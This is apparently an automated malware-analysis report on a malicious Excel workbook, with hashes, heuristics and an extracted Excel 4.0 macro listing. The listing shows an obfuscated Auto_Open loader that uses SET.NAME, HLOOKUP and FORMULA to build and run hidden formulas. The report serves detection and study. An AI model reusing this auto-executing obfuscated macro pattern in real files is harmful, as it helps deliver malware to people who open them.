Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9d2985df7be99ab…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:33:13 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 73e17a2000c0311ceb4c65da2ab921cb SHA-1: 642fbe8c3c4113bfa79053195179893173150baa SHA-256: b9d2985df7be99ab324f8939f7129136d3764a499e44e74bc2c3057ac58a5b56
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6476 bytes
SHA-256: e816d8e4d2b823b3222f07399120f7c71156265cc3308ee4cbd8138609a3c0af
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dNssJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A144 
' 0018     27 LABEL : Cell Value, String Constant - bqbxKBcJqWGc len=0 
' 0018     25 LABEL : Cell Value, String Constant - BqneFwAptd len=0 
' 0018     24 LABEL : Cell Value, String Constant - ccmxlFrcO len=0 
' 0018     27 LABEL : Cell Value, String Constant - CSlKKGljBzXu len=0 
' 0018     21 LABEL : Cell Value, String Constant - dBjmIT len=0 
' 0018     20 LABEL : Cell Value, String Constant - ErzaA len=0 
' 0018     24 LABEL : Cell Value, String Constant - fGDvGsiJl len=0 
' 0018     25 LABEL : Cell Value, String Constant - GOdnZPLMKN len=0 
' 0018     21 LABEL : Cell Value, String Constant - gPxjWx len=0 
' 0018     22 LABEL : Cell Value, String Constant - IEQRfMM len=0 
' 0018     20 LABEL : Cell Value, String Constant - jdqRs len=0 
' 0018     27 LABEL : Cell Value, String Constant - LeJCXmmlntCT len=0 
' 0018     27 LABEL : Cell Value, String Constant - MNzZYLAXKNVx len=0 
' 0018     20 LABEL : Cell Value, String Constant - NEXBF len=0 
' 0018     23 LABEL : Cell Value, String Constant - OcMkEDwO len=0 
' 0018     25 LABEL : Cell Value, String Constant - pJnrDPVDes len=0 
' 0018     26 LABEL : Cell Value, String Constant - PlZobIQttsC len=0 
' 0018     23 LABEL : Cell Value, String Constant - vuIhuqEy len=0 
' 0018     27 LABEL : Cell Value, String Constant - xamjJuHiSMPa len=0 
' 0018     23 LABEL : Cell Value, String Constant - XeYuAdRf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dNssJ,A61,"SET.NAME("LeJCXmmlntCT",VALUE("0"))",""
'  dNssJ,A65,"SET.NAME("XeYuAdRf",LeJCXmmlntCT)",""
'  dNssJ,A68,"SET.NAME("gPxjWx",LeJCXmmlntCT)",""
'  dNssJ,A71,"SET.NAME("vuIhuqEy",COUNTA(MNzZYLAXKNVx))",""
'  dNssJ,A74,"SET.NAME("pJnrDPVDes",COUNTA(GOdnZPLMKN))",""
'  dNssJ,A78,[],""
'  dNssJ,A80,"SET.NAME("CSlKKGljBzXu","")",""
'  dNssJ,A85,"XeYuAdRf",""
'  dNssJ,A88,"SET.NAME("ErzaA",HLOOKUP("*",MNzZYLAXKNVx,XeYuAdRf,FALSE))",""
'  dNssJ,A90,"IEQRfMM",""
'  dNssJ,A94,"SET.NAME("dBjmIT",LeJCXmmlntCT)",""
'  dNssJ,A98,[],""
'  dNssJ,A100,"dBjmIT",""
'  dNssJ,A102,"NEXBF",""
'  dNssJ,A104,"OcMkEDwO",""
'  dNssJ,A108,"PlZobIQttsC",""
'  dNssJ,A113,"SET.NAME("bqbxKBcJqWGc",VALUE(HLOOKUP("*",GOdnZPLMKN,PlZobIQttsC,FALSE)))",""
'  dNssJ,A115,"ccmxlFrcO",""
'  dNssJ,A117,"CSlKKGljBzXu",""
'  dNssJ,A122,"gPxjWx",""
'  dNssJ,A126,NEXT(),""
'  dNssJ,A128,"jdqRs",""
'  dNssJ,A130,"SET.NAME("f",INT(T(FORMULA(T(CSlKKGljBzXu)&"",""&T(jdqRs)))))",""
'  dNssJ,A135,"xamjJuHiSMPa",""
'  dNssJ,A137,NEXT(),""
'  dNssJ,A140,RETURN(),""
'  dNssJ,A173,"SET.NAME("fGDvGsiJl",A61)",""
'  dNssJ,A176,"MNzZYLAXKNVx",""
'  dNssJ,A181,"SET.NAME("GOdnZPLMKN",R55C11)",""
'  dNssJ,A183,"SET.NAME("xamjJuHiSMPa",192)",""
'  dNssJ,A187,"SET.NAME("BqneFwAptd",1)",""
'  dNssJ,A191,fGDvGsiJl(),""
'  dNssJ,A192,HALT(),""